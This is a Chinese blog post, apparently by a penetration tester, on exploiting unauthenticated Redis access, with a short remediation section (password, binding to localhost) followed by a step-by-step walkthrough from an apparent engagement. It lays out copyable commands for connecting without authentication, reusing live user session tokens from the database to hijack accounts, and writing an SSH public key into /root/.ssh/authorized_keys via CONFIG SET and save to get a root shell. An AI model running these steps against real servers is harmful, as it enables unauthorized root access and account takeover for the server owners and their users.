巴扎嘿的入行笔记(渗透测试工程师)(十)-Redis未授权访问
作者:巴扎嘿啦啦啦 | 发布时间:
相关声明
本文内容仅为技术科普,请勿用于非法用途。概不负责,一切后果由用户自行承担。
老生常谈的漏洞了,危害严重又总会有,本来俺想写oauth2认证漏洞的,刚好项目上遇上了就写一下,直接就上大家能抄的
漏洞名称:Redis未授权访问
漏洞级别:严重
漏洞URL:外比巴卜
漏洞风险:攻击者无需认证即可访问到内部数据,可能导致敏感信息泄露,可以恶意执行flushall来清空所有数据。攻击者也可已通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。如果Redis以root身份运行,攻击者还可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,对该系统的主要危害是可以通过数据库的usertoken直接进行登录其他账户,不需要解密数据库中加密的密码。
漏洞描述:Redis是一个开源的使用ANSI C语言编写的数据库。从2010年3月15日起,Redis因配置不当可以未授权访问,攻击者无需认证即可访问到内部数据,可能导致敏感信息泄露,严重时可导致系统权限丢失。
解决方案:
1、为 Redis 添加密码验证(重启Redis才能生效)
修改 redis.conf 文件,添加
requirepass 强密码
(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)
2、禁止外网访问 Redis(重启redis才能生效)
修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1(修改后只有本机才能访问Redis,也可以指定访问源IP访问Redis,在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错。)
第一步端口探测发现16379端口是redis,然后直接连接试试,我windows用的是RedisDesktopManager,如果是kali直接redis-cli就行

连上了未授权定了,然后看看表里有啥,有个user但是user里的内容都是做了脱敏的,关键密码手机号啥的都是*****,这个数据库里还有个usertoken,看看能不能直接用(这个token是实时变化的,就是有用户登录就会把临时生成的token存进来)

ok确实可以用,运气好找个user里isadmin:true的账号的token试试,结果有个管理员每次我找到他的token的时候他就退出登录了,难搞
最后最关键的redis就是getshell(前提是你的redis是root权限)
kali启动,因为是昨天下载的最新的镜像暂时没有redis,还得安装一下
wget http://download.redis.io/redis-stable.tar.gz

tar -zxvf redis-stable.tar.gz

cd redis-stable
make

将redis-stable/src/redis-cli 复制到user/local/bin之下(相当于windows加命令到环境变量)
sudo cp redis-cli /usr/local/bin/
然后就可以调用了redis-cli了

ssh-keygen -t rsa生成rsa秘钥(一路回车即可)

存放到.ssh路径下了。Cd .ssh发现没有这个目录

Ls-la

发现.ssh是-rw------开头不是d不是个文件目录
Rm-rf .ssh 删除目录重新创建rsa就好了,
进了.ssh目录,然后
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

ok1.txt有了,cat 1.txt | ./redis-cli -h 目标靶机IP -x set xxxxxxx把1.txt写入靶机这个set xxxxx是配备一个标识字符串(个人理解)xxx可以替换成任何字符串,但是是唯一标识符就意味着这个标识符如果和别的ip送进去就会失败,结果返回ok就行,忘记截图了
redis-cli -h 目标ip -p 端口连进去之后CONFIG GET dir 查看一下dir的东西,很重要一定要截图,之后需要还原过来,同理CONFIG GET dbfilename,一定记得截图这两步

dbfilename同理我就不截图了
然后改名把dir下面的那个改成root/.ssh 把dbfilename下面那个改成authorized_key
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
CONFIG GET dbfilename,CONFIG GET dir再次查看更改成功了吗
save

ok最后一一步就可以sshgetshell了ssh root@ip就进去了

参考:
https://www.cnblogs.com/jiecoll/p/13790618.html
https://baijiahao.baidu.com/s?id=1716023524607857826&wfr=spider&for=pc